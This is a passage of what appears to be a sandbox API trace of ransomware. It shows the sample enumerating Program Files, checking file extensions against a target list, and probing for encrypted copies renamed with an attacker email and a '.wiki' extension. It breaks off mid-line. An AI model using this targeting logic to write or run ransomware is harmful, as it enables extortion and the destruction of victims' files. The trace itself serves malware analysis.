[0148.832] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0148.832] lstrlenW (lpString=".xls") returned 4 [0148.832] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0148.833] lstrlenW (lpString=".xlsx") returned 5 [0148.833] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0148.833] lstrlenW (lpString=".ppt") returned 4 [0148.833] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0148.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.833] lstrlenW (lpString=".zip") returned 4 [0148.833] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0148.833] lstrlenW (lpString=".rar") returned 4 [0148.833] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0148.833] lstrlenW (lpString=".bz2") returned 4 [0148.833] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0148.833] lstrlenW (lpString=".7z") returned 3 [0148.833] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0148.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.833] lstrlenW (lpString=".dbf") returned 4 [0148.833] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0148.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.833] lstrlenW (lpString=".1cd") returned 4 [0148.833] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0148.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.833] lstrlenW (lpString=".jpg") returned 4 [0148.833] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0148.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.833] lstrlenW (lpString=".doc") returned 4 [0148.833] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0148.833] lstrlenW (lpString=".docx") returned 5 [0148.833] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0148.833] lstrlenW (lpString=".pdf") returned 4 [0148.833] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0148.834] lstrlenW (lpString=".xls") returned 4 [0148.834] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0148.834] lstrlenW (lpString=".xlsx") returned 5 [0148.834] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0148.834] lstrlenW (lpString=".ppt") returned 4 [0148.834] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0148.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.834] lstrlenW (lpString=".zip") returned 4 [0148.834] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0148.834] lstrlenW (lpString=".rar") returned 4 [0148.834] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0148.834] lstrlenW (lpString=".bz2") returned 4 [0148.834] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0148.834] lstrlenW (lpString=".7z") returned 3 [0148.834] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0148.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.834] lstrlenW (lpString=".dbf") returned 4 [0148.834] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0148.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.834] lstrlenW (lpString=".1cd") returned 4 [0148.834] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0148.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.834] lstrlenW (lpString=".jpg") returned 4 [0148.834] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0148.834] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0148.834] lstrlenW (lpString="BLUEPRNT.INF") returned 12 [0148.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0149.107] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=549) returned 1 [0149.107] CloseHandle (hObject=0x1e0) returned 1 [0149.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0149.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.198] lstrlenW (lpString=".doc") returned 4 [0149.198] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0149.198] lstrlenW (lpString=".docx") returned 5 [0149.198] lstrcmpiW (lpString1=".docx", lpString2="T.INF") returned -1 [0149.198] lstrlenW (lpString=".pdf") returned 4 [0149.198] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0149.198] lstrlenW (lpString=".xls") returned 4 [0149.198] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0149.198] lstrlenW (lpString=".xlsx") returned 5 [0149.198] lstrcmpiW (lpString1=".xlsx", lpString2="T.INF") returned -1 [0149.198] lstrlenW (lpString=".ppt") returned 4 [0149.198] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0149.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.198] lstrlenW (lpString=".zip") returned 4 [0149.198] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0149.198] lstrlenW (lpString=".rar") returned 4 [0149.198] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0149.198] lstrlenW (lpString=".bz2") returned 4 [0149.198] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0149.198] lstrlenW (lpString=".7z") returned 3 [0149.198] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0149.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.199] lstrlenW (lpString=".dbf") returned 4 [0149.199] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0149.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.199] lstrlenW (lpString=".1cd") returned 4 [0149.199] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0149.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.199] lstrlenW (lpString=".jpg") returned 4 [0149.199] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0149.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.199] lstrlenW (lpString=".doc") returned 4 [0149.199] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0149.199] lstrlenW (lpString=".docx") returned 5 [0149.199] lstrcmpiW (lpString1=".docx", lpString2="T.INF") returned -1 [0149.199] lstrlenW (lpString=".pdf") returned 4 [0149.199] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0149.199] lstrlenW (lpString=".xls") returned 4 [0149.199] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0149.199] lstrlenW (lpString=".xlsx") returned 5 [0149.199] lstrcmpiW (lpString1=".xlsx", lpString2="T.INF") returned -1 [0149.199] lstrlenW (lpString=".ppt") returned 4 [0149.199] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0149.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.199] lstrlenW (lpString=".zip") returned 4 [0149.199] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0149.199] lstrlenW (lpString=".rar") returned 4 [0149.199] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0149.199] lstrlenW (lpString=".bz2") returned 4 [0149.199] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0149.199] lstrlenW (lpString=".7z") returned 3 [0149.199] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0149.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.200] lstrlenW (lpString=".dbf") returned 4 [0149.200] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0149.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.200] lstrlenW (lpString=".1cd") returned 4 [0149.200] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0149.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0149.200] lstrlenW (lpString=".jpg") returned 4 [0149.200] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0149.200] Sleep (dwMilliseconds=0x64) [0149.432] Sleep (dwMilliseconds=0x64) [0149.647] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0149.648] lstrlenW (lpString="RMNSQUE.ELM") returned 11 [0149.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.648] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=73271) returned 1 [0149.649] CloseHandle (hObject=0x2ac) returned 1 [0149.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0149.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.649] lstrlenW (lpString=".doc") returned 4 [0149.649] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0149.649] lstrlenW (lpString=".docx") returned 5 [0149.649] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0149.649] lstrlenW (lpString=".pdf") returned 4 [0149.649] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0149.649] lstrlenW (lpString=".xls") returned 4 [0149.649] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0149.649] lstrlenW (lpString=".xlsx") returned 5 [0149.649] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0149.649] lstrlenW (lpString=".ppt") returned 4 [0149.649] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0149.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.649] lstrlenW (lpString=".zip") returned 4 [0149.649] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0149.649] lstrlenW (lpString=".rar") returned 4 [0149.649] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0149.649] lstrlenW (lpString=".bz2") returned 4 [0149.649] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0149.649] lstrlenW (lpString=".7z") returned 3 [0149.649] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0149.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString=".dbf") returned 4 [0149.650] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString=".1cd") returned 4 [0149.650] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString=".jpg") returned 4 [0149.650] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString=".doc") returned 4 [0149.650] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0149.650] lstrlenW (lpString=".docx") returned 5 [0149.650] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0149.650] lstrlenW (lpString=".pdf") returned 4 [0149.650] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0149.650] lstrlenW (lpString=".xls") returned 4 [0149.650] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0149.650] lstrlenW (lpString=".xlsx") returned 5 [0149.650] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0149.650] lstrlenW (lpString=".ppt") returned 4 [0149.650] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString=".zip") returned 4 [0149.650] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0149.650] lstrlenW (lpString=".rar") returned 4 [0149.650] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0149.650] lstrlenW (lpString=".bz2") returned 4 [0149.650] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0149.650] lstrlenW (lpString=".7z") returned 3 [0149.650] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.650] lstrlenW (lpString=".dbf") returned 4 [0149.651] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0149.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.651] lstrlenW (lpString=".1cd") returned 4 [0149.651] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0149.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0149.651] lstrlenW (lpString=".jpg") returned 4 [0149.651] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0149.651] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0149.651] lstrlenW (lpString="RMNSQUE.INF") returned 11 [0149.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.842] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=613) returned 1 [0149.842] CloseHandle (hObject=0x308) returned 1 [0149.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0149.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.842] lstrlenW (lpString=".doc") returned 4 [0149.842] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0149.842] lstrlenW (lpString=".docx") returned 5 [0149.842] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0149.842] lstrlenW (lpString=".pdf") returned 4 [0149.842] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0149.842] lstrlenW (lpString=".xls") returned 4 [0149.842] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0149.842] lstrlenW (lpString=".xlsx") returned 5 [0149.842] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0149.842] lstrlenW (lpString=".ppt") returned 4 [0149.842] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0149.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.842] lstrlenW (lpString=".zip") returned 4 [0149.842] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0149.843] lstrlenW (lpString=".rar") returned 4 [0149.843] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0149.843] lstrlenW (lpString=".bz2") returned 4 [0149.843] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0149.843] lstrlenW (lpString=".7z") returned 3 [0149.843] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0149.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.843] lstrlenW (lpString=".dbf") returned 4 [0149.843] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0149.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.843] lstrlenW (lpString=".1cd") returned 4 [0149.843] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0149.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.843] lstrlenW (lpString=".jpg") returned 4 [0149.843] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0149.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.843] lstrlenW (lpString=".doc") returned 4 [0149.843] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0149.843] lstrlenW (lpString=".docx") returned 5 [0149.843] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0149.843] lstrlenW (lpString=".pdf") returned 4 [0149.843] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0149.843] lstrlenW (lpString=".xls") returned 4 [0149.843] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0149.843] lstrlenW (lpString=".xlsx") returned 5 [0149.843] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0149.843] lstrlenW (lpString=".ppt") returned 4 [0149.844] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0149.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.844] lstrlenW (lpString=".zip") returned 4 [0149.844] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0149.844] lstrlenW (lpString=".rar") returned 4 [0149.844] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0149.844] lstrlenW (lpString=".bz2") returned 4 [0149.844] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0149.844] lstrlenW (lpString=".7z") returned 3 [0149.844] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0149.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.844] lstrlenW (lpString=".dbf") returned 4 [0149.844] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0149.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.844] lstrlenW (lpString=".1cd") returned 4 [0149.844] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0149.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0149.844] lstrlenW (lpString=".jpg") returned 4 [0149.844] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0149.845] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0149.845] lstrlenW (lpString="msader15.dll") returned 12 [0149.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.845] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=8192) returned 1 [0149.845] CloseHandle (hObject=0x308) returned 1 [0149.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0149.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.845] lstrlenW (lpString=".doc") returned 4 [0149.845] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.846] lstrlenW (lpString=".docx") returned 5 [0149.846] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0149.846] lstrlenW (lpString=".pdf") returned 4 [0149.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.846] lstrlenW (lpString=".xls") returned 4 [0149.846] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.846] lstrlenW (lpString=".xlsx") returned 5 [0149.846] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0149.846] lstrlenW (lpString=".ppt") returned 4 [0149.846] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.846] lstrlenW (lpString=".zip") returned 4 [0149.846] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.846] lstrlenW (lpString=".rar") returned 4 [0149.846] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.846] lstrlenW (lpString=".bz2") returned 4 [0149.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.846] lstrlenW (lpString=".7z") returned 3 [0149.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.846] lstrlenW (lpString=".dbf") returned 4 [0149.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.846] lstrlenW (lpString=".1cd") returned 4 [0149.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.846] lstrlenW (lpString=".jpg") returned 4 [0149.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.847] lstrlenW (lpString="C:\\Program Files\\Common 